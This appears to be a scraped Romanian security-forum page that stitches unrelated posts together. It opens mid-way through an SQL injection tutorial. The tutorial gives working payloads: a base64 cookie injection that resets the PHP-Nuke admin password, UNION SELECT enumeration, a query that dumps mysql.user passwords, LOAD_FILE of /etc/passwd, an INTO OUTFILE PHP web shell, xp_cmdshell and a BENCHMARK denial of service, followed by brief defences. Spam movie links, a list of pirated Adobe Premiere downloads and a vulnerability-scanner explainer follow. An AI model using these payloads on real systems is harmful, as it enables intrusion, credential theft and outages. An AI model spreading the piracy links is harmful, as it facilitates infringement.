WHERE name='lm'+'a0' Ambele cereri SQL sunt corecte si returneaza acelasi rezultat. 2.3. Parametrii vulnerabili în cookie Dupa sum se stie aplicatia-web primeste de la utilizatori date nu numai din cereri GET si POST dar si din cookies. Majoritatea programmerilor-web nici nu presupun ca parametrii primiti din cookies deasemenea pot fi vulnerabili. Voi arata un exemplu pe baza portalului PHP-Nuke versiunea 7.0 care dupa cum se stie este vulnerabil la SQL injection – nu se filtreaza datele din cookie. Nu voi intra în detalii, doar voi mentiona ca în PHP Nuke, în cookies se pastreaza un sir de caractere de forma base64_encode(login:md5(pass)). Iata o portiune din cookies: ... * admin YWRtaW46OTZlNzkyMTg5NjVlYjcyYzkyYTU0OWRkNWEzMzAxMTI6 127.0.0.1/phpnuke/ admin YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6 127.0.0.1/phpnuke/ admin YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6 127.0.0.1/phpnuke/ admin YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6 127.0.0.1/phpnuke/ admin YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6 127.0.0.1/phpnuke/ ... Sirul de caractere este codificat în base64: YWRtaW46OTZlNzkyMTg5NjVlYjcyYzkyYTU0OWRkNWEzMzAxMTI6 Decodificat va fi: admin:96e79218965eb72c92a549dd5a330112: Unde admin – login, 96e79218965eb72c92a549dd5a330112 – md5(pass) (functia hash md5 a parolei), simbolul : este auxiliar. Voi expune o portiune din cod a fisierului de autorizare a utilizatorilor auth.php: ... f(isset($admin) && $admin != "") { // daca exista variabila $admin $admin = base64_decode($admin); // se decodeaza din base64 (din cookie) $admin = explode(":", $admin); // se imparte sirul in pina si dupa “:” $aid = "$admin[0]"; // login-ul $pwd = "$admin[1]"; // md5(parola) – md5 hash din cookie ... $sql = "SELECT pwd FROM ".$prefix."_authors WHERE aid='$aid'"; // !!! ... Dupa cum se observa variabila $aid primita din cookie nu se prelucreaza la simboluri speciale si este vulnerabila. Astfel raufacatorul cu usurinta poate modifica cookies. Plasînd în locul sirului de caractere: caractere: YWRtaW46OTZlNzkyMTg5NjVlYjcyYzkyYTU0OWRkNWEzMzAxMTI6 sirul: YWRtaW4nOyB1cGRhdGUgbnVrZV9hdXRob3JzIFNFVCBwd 2Q9J2M5ODY5ZGQwNDA3MTc4ZjQxZjBlMmE1NGQxMGI4Nzc1 JyBXSEVSRSBhaWQ9J2FkbWluOjk2ZTc5MjE4OTY1ZWI3MmM5Mm E1NDlkZDVhMzMwMTEyOg== Decodificat ca fi: admin'; update nuke_authors SET pwd='c9869dd0407178f41f0e2a54d10b8775' WHERE aid='admin:96e79218965eb72c92a549dd5a330112: Unde c9869dd0407178f41f0e2a54d10b8775 este functia hash md5 a parolei ‘hacked_password’. Efectul actiunii date – schimbarea parolei administratorului. 3. Metode de atac Sa presupunem ca raufacatorul a gasit un parametru vulnerabil. Pentru a exploata vulnerablitatea raufacatorul ar trebui aproximativ sa cunoasca tipul cererii SQL în care va fi injectat codul malicios. Cel mai des în aplicatiile-web sunt utilizate 4 tipuri de cereri SQL: 1. SELECT 2. INSERT 3. UPDATE 4. DELETE Care dintre acestea este folosit într-un caz concret, poate fi determinat analizînd logica si semantica scriptului vulnerabil. Daca scriptul afiseaza date ce corespund unui identificator anumit, atunci cu o mare probabilitate cererea este de tipul SELECT. Daca scriptul adauga unele date în baza de date, spre exemplu adaugarea unui comentariu, sau un post în forum – cererea este de tipul INSERT. Daca scriptul modifica informatia, spre exemplu schimbarea parolei, redactarea postului în forum – cererea este de tipul UPDATE. Daca are loc stergerea informatiei, spre exemplu anularea accountului, posibil ca cererea este sau de tipul DELETE sau de tipul UPDATE. Cel mai des sunt întîlnite vulnerabilitati în cereri SELECT. 3.1. Injectarea UNION SELECT Deoarece cel mai des vulnerabile sunt cererile la baza de date de tipul select, raufacatorii în primul rînd vor încerca de a injecta clauze UNION SELECT, deoarece în caz de succes raufacatorul va obtine acces la toate tabelele de sistem. În aceste tabele se contine informatia despre structura tuturor bazelor de date de pe server. Mai jos este prezentata lista tabelelor de sistem pentru diferite SGBD: 1. MS SQL Server INFORMATION_SCHEMA sysobjects syscolumns 2. MySQL mysql.user mysql.host mysql.db 3. Oracle SYS.USER_OBJECTS SYS.USER_TABLES SYS.USER_VIEWS SYS.USER_TAB_COLUMNS SYS.TAB SYS.ALL_TABLES Înainte de a efectua injectarea UNION SELECT raufacatorul ar trebui sa afle numarul de atribute în cererea SQL, tipul fiecarui atribut si denumirea unor tabele de sistem ceea ce se considera greu de realizat în cazurile cînd nu se afiseaza erorile în browser. Mai jos este demonstrat ca exista unele tehnici simple care ar solutiona problemele date. Cererea UNION SELECT trebuie sa contina acelasi numar de atribute, iar atributele trebuie sa fie de acelasi tip. 3.1.1. Identificarea numarului de atribute Mai întîi voi arata cît de simplu se afla numarul de atribute în cazul cînd se afiseaza erorile în browser. Sa presupunem ca exista urmatoarea vulnerabilitate în aplicatia-web ce utilizeaza SGBD MySQL: http://127.0.0.1/inj.php?id=5' Pentru a afla numarul de atribute raufacatorul va forma cererile: http://127.0.0.1/inj.php?id=-1'+UNION+SELECT+0/* http://127.0.0.1/inj.php?id=-1'+UNION+SELECT+0,1/* http://127.0.0.1/inj.php?id=-1'+UNION+SELECT+0,1,2/* http://127.0.0.1/inj.php?id=-1'+UNION+SELECT+0,1,2,3/* ... pîna ce va disparea mesajul de eroare: The used SELECT statements have a different number of columns Logurile MySQL: mysql> select * from users where id=-1 union select 0; ERROR 1218: The used SELECT statements have a different number of columns mysql> select * from users where id=-1 union select 0,1; ERROR 1218: The used SELECT statements have a different number of columns mysql> select * from users where id=-1 union select 0,1,2; ERROR 1218: The used SELECT statements have a different number of columns mysql> select * from users where id=-1 union select 0,1,2,3; ERROR 1218: The used SELECT statements have a different number of columns mysql> select * from users where id=-1 union select 0,1,2,3,4; ERROR 1218: The used SELECT statements have a different number of columns mysql> select * from users where id=-1 union select 0,1,2,3,4,5; +----+------+--------+----------+-------+------------+ | id | name | mgroup | password | email | ip_address | +----+------+--------+----------+-------+------------+ | 0 | 1 | 2 | 3 | 4 | 5 | +----+------+--------+----------+-------+------------+ 1 row in set (0.00 sec) În cazul cînd erorile cererii SQL nu se afiseaza în browser raufacatorul se va folosi de clauza ORDER BY pîna ce va aparea un mesaj de eroare: http://127.0.0.1/inj.php?id=-1+ORDER+BY+1/* http://127.0.0.1/inj.php?id=-1+ORDER+BY+2/* http://127.0.0.1/inj.php?id=-1+ORDER+BY+3/* ... Logurile MySQL: mysql> select * from users where id=-1 order by 1; Empty set (0.01 sec) mysql> select * from users where id=-1 order by 2; Empty set (0.00 sec) mysql> select * from users where id=-1 order by 3; Empty set (0.00 sec) mysql> select * from users where id=-1 order by 4; Empty set (0.00 sec) mysql> select * from users where id=-1 order by 5; Empty set (0.00 sec) mysql> select * from users where id=-1 order by 6; Empty set (0.00 sec) mysql> select * from users where id=-1 order by 7; ERROR 1054: Unknown column '7' in 'order clause' Deoarece o cerere de tip SELECT are cel putin un atribut, aceasta tehnica este foarte efectiva. Raufacatorul incrementeaza numarul coloanei dupa care se face sortarea si cînd aplicatia-web întoarce o eroare (302 – page redirect sau 500 – internal server error) numarul exact coloanelor se stie. 3.1.2. Identificarea tipului atributelor Dupa ce se cunoaste numarul de atribute, mai ramîne de aflat tipul acestora. În MySQL tipul datelor este foarte usor de determnat deoarece valorile numerice pot fi considerate si ca valori sir de caractere. Însa cînd se folosesc SGBD MS SQL Server sau Oracle deseori pentru a solutiona problema data se utilizeaza cuvîntul rezervat NULL, deoarece acesta poate avea orice tip. Presupunînd ca numarul de atribute este calculat, raufacatorului îi este foarte usor de a înjecta clauza UNION cu toate atributele nule. Adaugarea înstructiunii WHERE care întotdeauna va fi evaluata ca falsa garanteaza eliminarea erorilor (unele aplicatii pot sa nu prelucreze valorile NULL). Voi aduce un exemplu pentru SGBD MS SQL Server (ceea ce este similar cu SGBD Oracle): http://127.0.0.1/inj.asp?id=-1' +UNION+SELECT+NULL,NULL,NULL,NULL,NULL,NULL+WHERE+1=2-- Acest tip de injectare cu NULL are 2 scopuri. Principalul – de a obtine o cerere cu UNION fara erori. Si cealalta – aceasta cerere nu returneaza nimic, ceea ce dovedeste ca totul lucreaza corect. Odata ce este formata cererea procesul de identificare a tipurilor atributelor devine trivial. Într-o iteratie fiecarui atribut se dau valori numerice, sir de caractere sau datetime. -1'+UNION+SELECT+1,NULL,NULL,NULL,NULL,NULL+WHERE+1=2— Nici o eroare – primul atribut este numeric -1'+UNION+SELECT+1,2,NULL,NULL,NULL,NULL+WHERE+1=2— Eroare -1'+UNION+SELECT+1,’2’,NULL,NULL,NULL,NULL+WHERE+1=2— Nici o eroare – al doilea atribut are tipul sir caractere -1'+UNION+SELECT+1,’2’,3,NULL,NULL,NULL+WHERE+1=2— Nici o eroare – al 3-lea atribut este numeric ... Astfel, avînd toata înformatia, datele din tabelele de sistem pot fi obtinute cu succes. Un exemplu de obtinere a datelor din SGBD MySQL: mysql> select * from users where id=-1 union select 0,1,2,mysql.user.password,4,5 from mysql.user; +----+------+--------+----------+-------+------------+ | id | name | mgroup | password | email | ip_address | +----+------+--------+----------+-------+------------+ | 0 | 1 | 2 | fdsJD83h | 4 | 5 | +----+------+--------+----------+-------+------------+ 1 row in set (0.00 sec) 3.2. Obtinerea unui interpretator de comenzi Unele SGBD permit extragerea rezultatelor cererii SQL într-un fisier. Acest lucru permite raufacatorilor de a forma un script care ulterior va fi util pentru controlul total al serverului (spre exemplu un php sau asp shell). În MySQL extragerea rezultatelor în fisier se face utilizînd clauza INTO OUTFILE. Un exemplu simplu ar fi urmatorul: INSERT '<? system($cmd) ?>' INTO OUTFILE /tmp/shell.php În MS SQL Server extragerea rezultatelor în fisier putin difera. În componenta cu serverul sunt unele module ce contin proceduri ce usureaza lucrul cu serverul si care pot fi apelate direct din cererea SQL. Una din aceste proceduri – master.dbo.sp_makewebtask – are destinatia aceasta. O alta metoda de a executa comenzi de sistem pe serverul pe care este instalat SGBD MS SQL Server este utilizarea procedurii master.dbo.xp_cmdshell. Un exemplu de cerere SQL: EXEC master.dbo.xp_cmdshell 'cmd.exe dir' 3.3. Metode specifice de atac asupra unui anumit tip de SGBD 3.3.1. MySQL SQL injecion permite de a afla si alte date: /* baza de date curenta */ select * from users where id=-1 UNION SELECT 0,1,2,3,4,DATABASE(); /* utilizatorul care a lansat baza de date */ select * from users where id=-1 UNION SELECT 0,1,2,3,4,USER(); /* versiunea serverului */ select * from users where id=-1 UNION SELECT 0,1,2,3,4,VERSION(); Daca utilizatorul care a lansat SGBD are drepturi file_priv, atunci raufacatorul poate obtine continutul oricarui fisier de pe server: http://127.0.0.1/inj.php?id=-1'+UNION+SELECT+0,1,2,3,4,5, LOAD_FILE('/etc/passwd')/* O alta metoda de exploatare a vulnerabilitatii este utilizarea functiei char(num) care reîntoarce simbolul cu codul ASCII num: select * from users where id=9999 union select 0,1,2,char(109,121,115,113,108,46,117,115,101,114,46,112,97,115,115,119,111,114,100),4,5 from mysql.user ceea ce este echivalent cu: select * from users where id=9999 union select 0,1,2,mysql.user.password,4,5 from mysql.user Vulnerabilitatea SQL injection poate fi exploatata si pentru realizarea atacului DoS: select * from users where id= BENCHMARK(10000000,BENCHMARK(10000000, md5(current_date))) trimiterea de catre raufacator a cîteva cereri de acest fel va face serverul sa frîneze considerabil. 3.3.2. MS SQL Server In baza de date de sistem INFORMATION_SCHEMA se contine informatia despre toate tabelele de pe server. Extragerea datelor din baza de date poate fi cu usurinta facuta în cazul cînd mesajele de erori ODBC se afiseaza în browser. Sa presupunem ca exista o aplicatie-web vulnerabila: http://127.0.0.1/?page_id=1’ Pentru început raufacatorul va afla denumirile tabelelor din baza de date, astfel va fi formata o cerere SQL malicioasa care ar extrage numele primului tabel: http://127.0.0.1/?page_id=-1’; SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES-- Serverul va reîntoarce: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][sql Server]Syntax error converting the nvarchar value 'table1' to a column of data type smallint Denumirea primului tabel din baza de date este table1. Apoi pentru a afla denumirile celorlalte tabele raufacatorul pe rînd va forma urmatoarele cereri: http://127.0.0.1/?page_id=-1’; SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('table1')— Raspunsul serverului: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][sql Server]Syntax error converting the nvarchar value 'table2' to a column of data type smallint Cererea urmatoare va fi: http://127.0.0.1/?page_id=-1’; SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('table1','table2')— Acest exemplu demonstreaza cît de folositoare de dovedesc a fi mesajele de eroare returnate de server pentru raufacator. 4. Caracteristici tipice a SGBD 4.1. MySQL 1. Suporta INTO OUTFILE 2. Majoritatea modulelor si bibliotecilor nu permit executarea cererilor multiple la baza de date 3. Suporta interogari UNION si JOIN (doar versiunile > =4.0) 4. Permite transmiterea valorilor numerice între ghilimele 4.2. Oracle 1. Suporta subselect 2. Suporta UNION 3. Nu permite executarea cererilor multiple la baza de date 4. Simbolul || se foloseste pentru concatenarea sirurilor de caractere 4.3. MS SQL 1. Suporta subselect 2. Suporta UNION 3. Permite executarea cererilor multiple la baza de date 4. Simbolul + se foloseste pentru concatenarea sirurilor de caractere 5. Metode de aparare Pentru a evita o posibila exploatare a vulnerabilitatii SQL Injection în aplicatia web, este necesar de a prelucra toate datele ce parvin de la utilizatori la urmatoarele simboluri: 1) Ghilimelele atit simple cît si duble (‘, “, `). Cu ajutorul acestora în majoritatea cazurilor se efectuiaza injectarea codului SQL. 2) Simbolurile de comentarii specifice SGBD anumit (/*,--). Cu ajutorul acestora poate fi omisa o parte din interogare. 3) Simbolurile ce împart instructiunile SQL (. Prezenta acestui simbol permite de a forma mai multe cereri la baza de date. 4) Deasemenea datele ar trebui sa fie verificate la prezenta si la alte simboluri (_,%,*). 5) În cazul cînd în cererea SQL se utilizeaza date numerice primite de la utilizatori, înainte de a le plasa în cererea SQL acestea ar trebui aduse la tipul numeric: $id=(int)$id; 6) În cazul cînd în cererea SQL se utilizeaza date de tip sir de caractere primite de la utilizatori, înainte de a le plasa în cererea SQL acestea ar trebui prelucrate la simboluri speciale. Cea mai buna practica – este formarea expresiilor regulate. Concluzii Trebuie de mentionat ca vulnerabilitatile de tipul SQL Injection sunt foarte raspîndite. În lucrare am demonstrat ca prezenta vulnerabilitatii date în aplicatia-web îi permite raufacatorului sa afle/extraga informatii despre server, sa obtina un interpretator de comenzi sau chiar sa realizeze un atac DoS. Pentru a evita prezenta acestei vulnerabilitati este nevoie de a prelucra la simboluri speciale absolut toate datele ce parvin de la utilizatori. În aceasta categorie intra parametrii GET, POST si chiar cookie. Aspectele reflectate în aceasta lucrare desigur nu acopera în întregime tema atacurilor SQL injection. Fiecare SGBD are nuantele sale pe care raufacatorul potential poate sa le foloseasca spre binele sau. Tema lucrarii date este derivata din tema proiectului de masterat întitulata „Metode si solutii de detectare a web-atacurilor”. Source0 points
-
If you want to watch full movies online, then you shouid go to these websites. It is totally free and full of Entretaining. You should visit in these sites once a time. http://pagebin.com/IeqnDP3z http://unrhywweithreddda.tumblr.com/-1 points
-
Adobe Premiere Pro CC 2014 8.1.0 (LS20) Multilingual (Win/Mac OSX) Adobe Premiere Pro CC 2014 8.1.0 (LS20) Multilingual (Win/Mac OSX) | 1.09 GB/1.30 GB Adobe Premiere Pro CC 2014 software offers breakthrough performance for video production, enabling you to work dramatically faster thanks to the revolutionary native 64-bit, GPU-accelerated Adobe Mercury Playback Engine. Adobe Premiere Pro CC works natively with the video formats you want and accelerate production from scriptwriting to editing, encoding, and final delivery. System Requirements: - Intel Core2 Duo or AMD Phenom II processor with 64-bit support - Microsoft Windows 7 with Service Pack 1 (64 bit) or Windows 8 (64 bit) - 4 GB of RAM (8 GB recommended) - 4 GB of available hard-disk space for installation; additional free space required during installation (cannot install on removable flash storage devices) - Additional disk space required for preview files and other working files (10 GB recommended) - 1280 x 800 display - 7200 RPM or faster hard drive (multiple fast disk drives configured for RAID 0 recommended) - Sound card compatible with ASIO protocol or Microsoft Windows Driver Model - QuickTime 7.6.6 software required for QuickTime features - Optional: Adobe-certifi ed GPU card for GPU-accelerated performance - Internet connection and registration are necessary for required software activation, validation of subscriptions, and access to online services. DOWNLOAD LINKS: http://u22088411.letitbit.net/download/53503.5cdcc3df5eee863cca42c8ae43a2/OSXPPCC2014.1.part1.rar.html http://u22088411.letitbit.net/download/49947.487beac8b2b1e627814f3ae031da/OSXPPCC2014.1.part2.rar.html http://u22088411.letitbit.net/download/33362.3ab254f74f0703829cc0c27f3c98/OSXPPCC2014.1.part3.rar.html http://u22088411.letitbit.net/download/39781.3930230490e4e601185487bdbcd0/OSXPPCC2014.1.part4.rar.html http://u22088411.letitbit.net/download/97675.9eef20ca4b039fc1b845d4377e22/OSXPPCC2014.1.part5.rar.html http://u22088411.letitbit.net/download/43976.474758efd8d009a1de71e6bdd95d/w64PPCC2014.1.part1.rar.html http://u22088411.letitbit.net/download/49795.4c080c263b8ba8f67a0691e9dc71/w64PPCC2014.1.part2.rar.html http://u22088411.letitbit.net/download/76298.755bc0c872e7ceaa7733cee497b6/w64PPCC2014.1.part3.rar.html http://u22088411.letitbit.net/download/56032.5f26f5b0d3ff6ac35c2ca7b5bc23/w64PPCC2014.1.part4.rar.html http://u22088411.letitbit.net/download/48107.4cd279d73d26ab5bc2f7e6f21a6b/w64PPCC2014.1.part5.rar.html http://rapidgator.net/file/79bc3492c66d50b72f84e4d54ec08f2c/OSXPPCC2014.1.part1.rar.html http://rapidgator.net/file/f90dbff54f1bdc1a1ab2096718ab27ae/OSXPPCC2014.1.part2.rar.html http://rapidgator.net/file/4f4f8ac2d4a9b93e89deed8a803bff26/OSXPPCC2014.1.part3.rar.html http://rapidgator.net/file/b7fb04041bac0d6b2ae101ecd9b46f4b/OSXPPCC2014.1.part4.rar.html http://rapidgator.net/file/c656a43896420cd2e127a5a6736e75f3/OSXPPCC2014.1.part5.rar.html http://rapidgator.net/file/19eebda303ce4d0f66877518041f1012/w64PPCC2014.1.part1.rar.html http://rapidgator.net/file/35fc71e26b3b6799f4b26dae9663a92d/w64PPCC2014.1.part2.rar.html http://rapidgator.net/file/f461b4daac29971436a0e418ba6921b7/w64PPCC2014.1.part3.rar.html http://rapidgator.net/file/9db8ce6d8952eb8449f3507cbd955401/w64PPCC2014.1.part4.rar.html http://rapidgator.net/file/320e3be1915d916307262abe7c0c3cae/w64PPCC2014.1.part5.rar.html http://uploaded.net/file/vf1cdx2d/OSXPPCC2014.1.part1.rar http://uploaded.net/file/bta7n9io/OSXPPCC2014.1.part2.rar http://uploaded.net/file/hz9f83eu/OSXPPCC2014.1.part3.rar http://uploaded.net/file/9y0b4gi0/OSXPPCC2014.1.part4.rar http://uploaded.net/file/tag8g4cu/OSXPPCC2014.1.part5.rar http://uploaded.net/file/zfbeblqj/w64PPCC2014.1.part1.rar http://uploaded.net/file/xkcdsbp3/w64PPCC2014.1.part2.rar http://uploaded.net/file/l5nhw72n/w64PPCC2014.1.part3.rar http://uploaded.net/file/6shx2nz6/w64PPCC2014.1.part4.rar http://uploaded.net/file/3wfbt6bh/w64PPCC2014.1.part5.rar http://u18391561.shareflare.net/download/43842.46efb1c4b0b0cb6c36c7ffc83cdf/OSXPPCC2014.1.part1.rar.html http://u18391561.shareflare.net/download/88689.8972b7f97ff3bc31b47feac4f6ff/OSXPPCC2014.1.part2.rar.html http://u18391561.shareflare.net/download/79396.70fa4821b9cf5de13630aa1bc0a3/OSXPPCC2014.1.part3.rar.html http://u18391561.shareflare.net/download/39810.3a71215297dafb6b6c924421e158/OSXPPCC2014.1.part4.rar.html http://u18391561.shareflare.net/download/13270.179a882dfb56cb39439ca79f9497/OSXPPCC2014.1.part5.rar.html http://u18391561.shareflare.net/download/31053.327cc33db81e7d862813ec39645b/w64PPCC2014.1.part1.rar.html http://u18391561.shareflare.net/download/19271.15040269b68d85beda3787904515/w64PPCC2014.1.part2.rar.html http://u18391561.shareflare.net/download/34354.31d8d19fddac0153dec53b616791/w64PPCC2014.1.part3.rar.html http://u18391561.shareflare.net/download/31818.38107ab24a2cc64fa2f93f1af279/w64PPCC2014.1.part4.rar.html http://u18391561.shareflare.net/download/49471.481e7b6a6440e10e44f2f3f98010/w64PPCC2014.1.part5.rar.html-1 points
-
Mi-a mai venit o idee. Cand cineva termina cu succes un challenge in loc de mesajul de felicitare sau "succes" nu ar fi mai bine sa primeasca 5, 10 sau 20 de euro ?-1 points
-
1. Definirea vulnerabilitatilor O vulnerabilitate in securitatea IT reprezinta o suma de conditii care impreuna pot duce la un sistem deschis accesului nedorit sau neautorizat din partea unui intrus, la neputinta de a folosi corespunzator sistemul sau reprezinta o violare a politicilor de securitate ale sistemului. O vulnerabilitate se poate referi la politica de securitate a sistemului, la modul cum a fost planificat, implementat sau configurat. Astfel, o vulnerabilitate poate fi reprezentata de una din urmatoarele: 2. Definirea aplicatiilor care evalueaza vulnerabilitatile O aplicatie care evalueaza vulnerabilitatile (scanner de vulnerabilitati) poate fi definita ca un utilitar care poate fi folosit pentru a testa securitatea unui sistem sau a unei retele si descopera puncte de slabiciune. Aceste aplicatii nu ofera in mod direct protectie sau securitate pentru un sistem sau o retea dar in schimb aduna si raporteaza informatii pe care alte mecanisme, politici sau aplicatii le pot pune in aplicare pentru a oferi protectie impotriva vulnerabilitatilor gasite. Aplicatiile de evaluare a vulnerabilitatilor pot fi, in general, de urmatoarele tipuri: Gazda Aplicatiile de evaluare a vulnerabilitatilor gazda scaneaza si raporteaza doar calculatorul pe care se afla; nu au nici un fel de interactiune cu alte sisteme. Avantajul acestei arhitecturi consta in faptul ca scannerul are acces complet la toate resursele sistemului, cum ar fi inregistrari sau fisiere de sistem. Principalul dezavantaj consta in posibilitatea scannerului de a consuma prea mult din resursele calculatorului. Serviciu Aplicatiile de retea care evalueaza vulnerabilitatile sunt aplicatii care sunt proiectate sa scaneze o serie de calculatoare si serviciile de retea pe care acestea le ofera pentru a identifica vulnerabilitati. Aceste aplicatii variaza de la simple scannere de porturi, care identifica ce porturi sunt deschise, pana la scannere automate care vor detecta care calculatoare sunt in functiune si vor incerca sa extraga de la ele date si informatii referitoare la vulnerabilitati. Aplicatiile mai avansate permit utilizatorului sa specifice care tip de vulnerabilitati sunt de interes si de asemenea permit generarea unui raport la finalul scanarii. Exista de asemenea si scannere proiectate pentru un tip specific de serviciu, de exemplu scannere de vulnerabilitati de baze de date. Aplicatie Cele mai intalnite astfel de scannere sunt cele pentru aplicatii web. Exista o multitudine de astfel de scannere specifice care pot varia de la simple utilitare care ajuta la localizarea paginilor web care nu ar trebui sa fie accesibile pana la scannere complexe care sa incerce manipularea aplicatiei web de asa natura incat sa obtina informatii sau acces suplimentar. Un exemplu de manipulare ar putea fi incercarea de injectare de interogari SQL pentru a putea ocoli securitatea sau pentru a accesa informatii stocate in aplicatie. Scannere active Scannerele active incearca sa compromita (sau sa evalueze posibilitatea de a compromite) o retea, un sistem sau serviciu specific folosind strategii de atac care ar putea fi folosite intr-un atac real. Multe dintre scannerele active identifica vulnerabilitatile cauzate de configurari defectuoase sau de patch-uri de sistem lipsa. Motivul pentru care sunt denumite "active" este pentru ca efectueaza teste care consuma efectiv resurse ale retelei. Un avantaj al scannerelor active este ca administratorul are un control imbunatatit asupra timpului si a profunzimii scanarii de vulnerabilitati. Un alt avantaj consta in faptul ca, uneori, prezenta unei vulnerabilitati poate fi determinata de succesul unui test (de exemplu daca scannerul ghiceste un nume de cont sau o parola). Marele dezavantaj al scannerelor active consta in posibilitatea lor de a intrerupe functionarea sistemelor. Scannerele active nu ar trebui folosite asupra sistemelor critice operationale fara o planificare atenta in prealabil. Scannerele active, prin definitie, folosesc resursele sistemului fapt ce ar pute conduce la incetinirea altor procese. Scannere pasive Scannerele pasive, spre deosebire de cele active, nu afecteaza in mod semnificativ resursele sistemului deoarece doar monitorizeaza datele pe sistem si executa orice procesari ale datelor pe o masina separata de analiza. Scannerele pasive se comporta similar cu sistemele de detectie a intruziunilor, in sensul ca intercepteaza sau primesc date despre sistem si le evalueaza folosind un set de reguli. Analiza ofera informatii despre procesele care ruleaza pe sistem. Un avantaj al acestui tip de scanner este ca scannerele pasive pot functiona "non-stop" deoarece nu consuma din resursele sistemului. Un dezavantaj consta in faptul ca scannerele pasive vor raporta informatii derivate doar din date disponibile cu usurinta, dintre care unele sunt de multe ori deduse deci pot fi inexacte. In general, tipurile de teste folosite de un scanner pasiv sunt: determinarea versiunii unui program pentru a verifica prezenta vulnerabilitatilor (de exemplu daca a fost aplicat un patch sau nu) si verificarea prezentei unui program care nu a mai fost intalnit in sistem. Un exemplu de detectie pasiva a semnaturii unei vulnerabilitati il reprezinta analiza unui banner SMTP (Simple Mail Transfer Protocol) atunci cand o conexiune catre un server de e-mail este facuta pentru a verifica daca acel server ruleaza o versiune vulnerabila de SMTP. 3. Tipuri de vulnerabilitati Vulnerabilitatile pot exista in software-ul serviciilor de retea sau in software-ul care este capabil sa primeasca date din retea. Viermii din internet si compromiterea sistemelor de la distanta exploateaza vulnerabilitati ale serviciilor de retea. Alte vulnerabilitati sunt locale pentru o aplicatie particulara care ruleaza pe un calculator sau care are nevoie de acces nemijlocit la sistemul de operare sau la sistemul de fisiere al calculatorului respectiv. Toate tipurile de vulnerabilitati de mai jos se aplica atat vulnerabilitatilor serviciilor de retea cat si vulnerabilitatilor locale: 4. Practici generale in folosirea aplicatiilor de evaluare a vulnerabilitatilor Aplicatiile de evaluarea a vulnerabilitatilor sunt doar unelte de detectie si doar prin intelegerea, analiza si actiunea unui administrator de sistem pot deveni unelte de protectie impotriva vulnerabilitatilor. Toate aceste aplicatii necesita un grad ridicat de expertiza tehnica si timp pentru a intelege, alerta, a stabili ca nu este un fals pozitiv si a lua masurile necesare. Scannerele de vulnerabilitati sunt folosite pentru a ajuta la protejarea sistemelor sau retelei asa ca asigurati-va ca aceste aplicatii nu au efectul opus, deteriorarea sistemelor si degradarea performatei lor. Este recomandat ca inainte de a folosi un nou scanner de vulnerabilitati, sau de a implementa noi teste pentru acest scanner sa fie rulate in prealabil pe un sistem sau o retea care nu se afla in exploatare. Este de asemenea recomandat ca testele care pot avea un efect distructiv sa fie inlaturate atunci cand se efectueaza scanari pe o retea operationala. Inainte de a folosi aceste aplicatii este esentiala o buna intelegere a modului lor de functionare precum si a datelor care pot fi culese in urma folosirii lor. Trebuie luata in considerare locatia sursa de unde se va face scanarea deoarece mecanismele de securitate vor fi, cel mai probabil, diferite in functie de tipul accesului: din afara retelei sau din interiorul ei. Decizia despre unde sa fie pozitionata sursa trebuie luata in functie de datele care se doresc a fi obtinute. O scanare din exteriorul retelei va simula un atacator extern in timp ce o scanare din interiorul retelei va arata cu mai mare acuratete vulnerabilitatile prezente in sistem si care pot fi exploatate de un atacator din interior sau care a compromis un sistem din interiorul retelei. Atunci cand se efectueaza o scanare a unei retele toate calculatoarele din retea ar trebui sa colecteze inregistrari despre ce se intampla. Acestea reprezinta mecanisme de validare a unui rezultat pentru a determina daca o vulnerabilitate raportata a fost corecta sau a fost un fals pozitiv. Utilizatorii de scannere de vulnerabilitati ar trebui sa scaneze in mod regulat sistemele lor, astfel avand un istoric asupra vulnerabilitatilor existente. In plus, utilizatorii de scannere de vulnerabilitati ar trebui sa urmareasca aparitia unor noi vulnerabilitati si sa aplice noile teste pentru acestea cat mai curand posibil. 5. Exemple de aplicatii de evaluare a vulnerabilitatilor Exista o multitudine de aplicatii de evaluare a vulnerabilitatilor atat comerciale cat si non-comerciale. Unele din scannerele de vulnerabilitati care au licenta open-source sau care sunt disponibile fara costuri sunt: Nikto, scanner open-source pentru servere web - http://www.cirt.net/code/nikto.shtml Microsoft Baseline Security Analyser, scanner de vulnerabilitati Microsoft destinat calculatoarelor cu sisteme de operare Microsoft Windows - Microsoft Baseline Security Analyzer – MBSA - TechNet Security OpenVAS, Open Vulnerabilty Assesment System Wald: OpenVAS: Project Home Paros, arhitectura pentru testare web - Paros | SourceForge.net Aplicatiile prezentate mai sus reprezinta doar o parte din multitudinea de aplicatii existente. Pentru mai multe informatii despre produsele de evaluare a vulnerabilitatilor vizitati adresele de mai jos: SecTools.Org Top Network Security Tools Network Scanners - securitywizardry.com Source-1 points
-
-2 points